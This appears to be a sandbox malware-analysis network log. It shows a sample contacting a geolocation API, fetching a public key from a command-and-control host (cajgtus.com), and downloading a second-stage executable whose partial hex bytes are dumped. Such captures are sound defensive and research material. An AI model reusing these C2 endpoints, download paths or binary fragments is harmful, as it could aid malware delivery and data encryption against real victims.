Apr 24, 2024 17:46:59.857717991 CEST	1289	IN	Data Raw: 00 00 8b bd f0 ef ff ff 8b 04 bd d0 b5 43 00 8b bd d8 ef ff ff f6 44 01 04 80 8b 85 f4 ef ff ff 74 19 8b 95 e4 ef ff ff eb 07 80 3a 0a 75 01 47 42 3b d6 72 f5 8a 95 fb ef ff ff 85 c0 75 20 8b c7 e9 2e 01 00 00 f6 85 dc ef ff ff 80 75 ec e8 36 31 Data Ascii: CDt:uGB;ru .u619Xu+ppjC[DjSmE;u?B+J;B#vB8uF@C;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	211.119.84.111	80	1228	C:\Users\user\Desktop\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:46:58.923394918 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:46:59.818037987 CEST	761	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:47:18 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 75 35 31 66 77 6e 51 79 38 55 75 2b 73 49 4a 6e 73 66 38 42 5c 5c 6e 66 53 69 7a 31 61 75 68 5a 74 4c 39 39 6a 48 62 75 64 32 37 79 42 32 34 78 54 58 6a 52 78 6e 46 5c 2f 71 55 44 6a 74 50 75 4d 7a 71 52 39 63 6e 6b 34 46 4d 34 62 44 37 33 77 51 52 72 64 52 46 68 5c 5c 6e 53 45 35 57 6b 31 31 76 74 6b 53 50 70 34 7a 43 4e 6e 58 37 69 4f 42 47 78 52 71 36 54 52 58 41 33 72 58 6c 4d 2b 50 75 6f 52 5a 4a 76 6f 53 6d 31 67 38 39 63 56 6e 6d 70 38 75 75 55 5a 67 4d 5c 5c 6e 30 45 74 6c 55 6b 62 48 57 4b 46 6b 72 33 4c 4e 47 5a 6c 33 33 68 55 6d 76 46 69 77 30 43 51 52 71 2b 54 34 44 49 7a 39 64 6e 4b 46 6f 53 43 4f 44 43 4f 41 59 4c 34 65 66 62 59 47 5a 69 6c 37 5c 5c 6e 63 33 5c 2f 48 7a 35 43 46 45 2b 66 65 56 54 2b 65 55 34 7a 62 4e 74 43 6d 34 42 37 76 79 42 76 4b 4e 34 73 4d 69 44 52 61 6b 4a 48 51 5a 73 4a 5a 34 48 64 6b 55 46 6a 39 4f 4d 71 4e 37 37 34 61 5c 5c 6e 63 36 69 6b 67 43 74 54 4a 64 49 42 78 45 37 5a 61 37 59 6f 53 59 49 50 47 76 67 41 34 6b 5c 2f 51 4e 76 71 56 36 4f 36 55 37 33 71 4e 42 65 30 34 6b 52 78 73 5a 6e 38 33 74 49 66 36 35 45 76 63 5c 5c 6e 4f 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 53 4c 69 62 79 4a 38 6e 5a 50 34 33 4b 38 58 36 59 63 6f 72 39 49 78 76 4f 6c 73 4b 48 56 54 4c 49 70 57 32 6e 51 34 50 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	211.119.84.111	80	772	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:46:58.930113077 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:46:59.811840057 CEST	761	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:47:18 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 75 35 31 66 77 6e 51 79 38 55 75 2b 73 49 4a 6e 73 66 38 42 5c 5c 6e 66 53 69 7a 31 61 75 68 5a 74 4c 39 39 6a 48 62 75 64 32 37 79 42 32 34 78 54 58 6a 52 78 6e 46 5c 2f 71 55 44 6a 74 50 75 4d 7a 71 52 39 63 6e 6b 34 46 4d 34 62 44 37 33 77 51 52 72 64 52 46 68 5c 5c 6e 53 45 35 57 6b 31 31 76 74 6b 53 50 70 34 7a 43 4e 6e 58 37 69 4f 42 47 78 52 71 36 54 52 58 41 33 72 58 6c 4d 2b 50 75 6f 52 5a 4a 76 6f 53 6d 31 67 38 39 63 56 6e 6d 70 38 75 75 55 5a 67 4d 5c 5c 6e 30 45 74 6c 55 6b 62 48 57 4b 46 6b 72 33 4c 4e 47 5a 6c 33 33 68 55 6d 76 46 69 77 30 43 51 52 71 2b 54 34 44 49 7a 39 64 6e 4b 46 6f 53 43 4f 44 43 4f 41 59 4c 34 65 66 62 59 47 5a 69 6c 37 5c 5c 6e 63 33 5c 2f 48 7a 35 43 46 45 2b 66 65 56 54 2b 65 55 34 7a 62 4e 74 43 6d 34 42 37 76 79 42 76 4b 4e 34 73 4d 69 44 52 61 6b 4a 48 51 5a 73 4a 5a 34 48 64 6b 55 46 6a 39 4f 4d 71 4e 37 37 34 61 5c 5c 6e 63 36 69 6b 67 43 74 54 4a 64 49 42 78 45 37 5a 61 37 59 6f 53 59 49 50 47 76 67 41 34 6b 5c 2f 51 4e 76 71 56 36 4f 36 55 37 33 71 4e 42 65 30 34 6b 52 78 73 5a 6e 38 33 74 49 66 36 35 45 76 63 5c 5c 6e 4f 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 53 4c 69 62 79 4a 38 6e 5a 50 34 33 4b 38 58 36 59 63 6f 72 39 49 78 76 4f 6c 73 4b 48 56 54 4c 49 70 57 32 6e 51 34 50 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	211.119.84.111	80	1228	C:\Users\user\Desktop\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 17:47:01.814193010 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 17:47:03.178728104 CEST	1289	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 15:47:21 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 Last-Modified: Mon, 09 Oct 2023 19:50:06 GMT ETag: "4ae00-6074de5a4a562" Accept-Ranges: bytes Content-Length: 306688 Connection: close Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6krh8rh8rh88sh8l8nh8l8h8U_8{h8ri8h8l82h8l8sh8l8sh8Richrh8PELaj; @>lhd>/0@.textrhj `.data:n@.kic>\|@.rsrc/>0~@@
Apr 24, 2024 17:47:03.178746939 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 73 03 00 00 00 00 00 8c 73 03 00 9c 73 03 00 00 00 00 00 f6 6b 03 00 0c 6c 03 00 22 6c 03 00 2e 6c 03 00 48 6c 03 00 5a 6c 03 00 70 6c 03 00 86 6c 03 00 96 6c 03 00 ac 6c 03 00 c0 6c 03 00 d0 6c 03 00 ec Data Ascii: ssskl"l.lHlZlpllllllllm m4mBm^mtmmmmmmmnn&n@n\nlnnnnnnnnnoo,o@oTo`opoookooo
Apr 24, 2024 17:47:03.474590063 CEST	342	IN	Data Raw: 53 00 6f 00 6c 00 6f 00 66 00 75 00 64 00 69 00 20 00 67 00 6f 00 78 00 6f 00 72 00 75 00 76 00 20 00 73 00 61 00 70 00 6f 00 63 00 75 00 7a 00 69 00 00 00 4e 00 69 00 6d 00 69 00 67 00 6f 00 74 00 20 00 67 00 69 00 66 00 6f 00 76 00 75 00 00 00 Data Ascii: Solofudi goxoruv sapocuziNimigot gifovuwelxolatxojiliFapejepuzeh wororuv mezumitelaMawoyujewoyosigubufozo wami xuxolesenawemo dohamefejexe
Apr 24, 2024 17:47:08.105928898 CEST	1289	IN	Data Raw: 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 ec b8 40 00 a7 bb 40 00 d0 e7 40 00 49 00 54 00 45 00 52 00 41 00 54 00 4f 00 52 00 20 00 4c 00 49 00 53 00 54 00 20 00 43 00 4f 00 52 00 52 00 55 00 50 00 54 00 45 00 44 00 21 00 00 00 00 00 43 00 3a 00 Data Ascii: 2.dll@@@ITERATOR LIST CORRUPTED!C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\include\xutility"out of ran
Apr 24, 2024 17:47:08.105973959 CEST	1289	IN	Data Raw: 00 72 00 61 00 74 00 6f 00 72 00 3c 00 63 00 6c 00 61 00 73 00 73 00 20 00 73 00 74 00 64 00 3a 00 3a 00 62 00 61 00 73 00 69 00 63 00 5f 00 73 00 74 00 72 00 69 00 6e 00 67 00 3c 00 63 00 68 00 61 00 72 00 2c 00 73 00 74 00 72 00 75 00 63 00 74 Data Ascii: rator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class
Apr 24, 2024 17:47:08.105995893 CEST	1289	IN	Data Raw: 4d 00 79 00 66 00 69 00 72 00 73 00 74 00 20 00 3c 00 3d 00 20 00 5f 00 50 00 74 00 72 00 20 00 26 00 26 00 20 00 5f 00 50 00 74 00 72 00 20 00 3c 00 3d 00 20 00 28 00 28 00 5f 00 4d 00 79 00 76 00 65 00 63 00 20 00 2a 00 29 00 5f 00 50 00 76 00 Data Ascii: Myfirst <= _Ptr && _Ptr <= ((_Myvec *)_Pvector)->_Mylast)", 0)l@@@C:\Program Files (x86)\Microsoft Visual Studio 9.0\V
Apr 24, 2024 17:47:08.106019020 CEST	1289	IN	Data Raw: 00 2e 00 2e 00 00 00 41 00 73 00 73 00 65 00 72 00 74 00 69 00 6f 00 6e 00 20 00 46 00 61 00 69 00 6c 00 65 00 64 00 00 00 00 00 45 00 72 00 72 00 6f 00 72 00 00 00 57 00 61 00 72 00 6e 00 69 00 6e 00 67 00 00 00 a4 25 40 00 98 25 40 00 74 25 40 Data Ascii: ..Assertion FailedErrorWarning%@%@t%@f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.cMicrosoft Visual C++ Debug Libra
Apr 24, 2024 17:47:08.401845932 CEST	1289	IN	Data Raw: 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 32 00 36 00 30 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 Data Ascii: cpy_s(szExeName, 260, L"<program name unknown>")__crtMessageWindowW((whence == SEEK_SET) \|\| (whence == SEEK_CUR) \|\| (whe
Apr 24, 2024 17:47:08.401885986 CEST	1289	IN	Data Raw: 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 00 00 00 49 6e 76 61 6c 69 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 73 69 7a 65 3a 20 25 49 75 20 62 79 74 65 73 2e 0a 00 00 00 00 25 73 00 00 43 6c 69 65 6e Data Ascii: ation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.Client hook allocation failure at file %hs line %d.f:\dd\vctools\crt_bld\self_x86\crt\sr
Apr 24, 2024 17:47:08.401909113 CEST	1289	IN	Data Raw: 00 00 00 00 70 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 Data Ascii: pUserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LIN
Apr 24, 2024 17:47:08.401931047 CEST	1289	IN	Data Raw: 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 00 00 00 00 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 74 6f 70 20 6f 66 20 46 72 65 65 20 62 6c 6f 63 6b 20 61 74 20 30 Data Ascii: buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with unknown return value!

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.139.220	443	4308	C:\Users\user\Desktop\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:46:53 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:46:54 UTC	912	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:46:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A74MHBfTscRbIocXftq7wPJGKph5bEbw4z0sR%2BeKGzPLfyngx0XYLFKxPZlk%2FFWLBYipQkgy6hrJltAzJTCYTpxzV92D6Hvn4%2BhjEzzLUUW6OOlTOrLMmo0kMied"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87973a8d09fd7c97-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:46:54 UTC	457	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 30 35 36 64 36 30 36 39 37 35 34 35 33 37 36 63 37 35 32 62 36 38 36 30 33 61 37 36 37 30 36 37 36 66 36 30 36 36 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#056d60697545376c752b68603a7670676f6066
2024-04-24 15:46:54 UTC	473	IN	Data Raw: d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 32 30 61 30 37 30 65 31 32 32 32 35 30 30 62 31 32 34 63 31 37 30 33 35 64 31 31 31 37 30 30 30 38 30 37 30 31 31 36 35 66 35 30 30 62 31 32 34 63 31 37 30 33 22 3e Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#620a070e1222500b124c17035d111700080701165f500b124c1703">
2024-04-24 15:46:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.139.220	443	1228	C:\Users\user\Desktop\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:46:55 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:46:56 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:46:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bQJ74xFLGXjviLtH3C8CGGR8XFXa7i27bs6k5DHx9XfRxPdKKrXlKAkO4fB4a48%2BVZAMbn6wXclyZngzxpWaqmjYyU9G2ffiQw%2BLPFnAy2d53j0azJiKolGkZJVO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87973a9a59402eea-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:46:56 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 61 32 32 32 66 32 36 33 61 30 61 37 38 32 33 33 61 36 34 32 37 32 66 37 35 33 39 33 66 32 38 32 30 32 66 32 39 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#4a222f263a0a78233a64272f75393f28202f29
2024-04-24 15:46:56 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 61 61 32 61 66 61 36 62 61 38 61 66 38 61 33 62 61 65 34 62 66 61 62 66 35 62 39 62 66 61 38 61 30 61 66 61 39 62 65 66 37 66 38 61 33 62 61 65 34 62 66 61 62 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#caa2afa6ba8af8a3bae4bfabf5b9bfa8a0afa9bef7f8a3bae4bfab"><s
2024-04-24 15:46:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.139.220	443	772	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:46:56 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
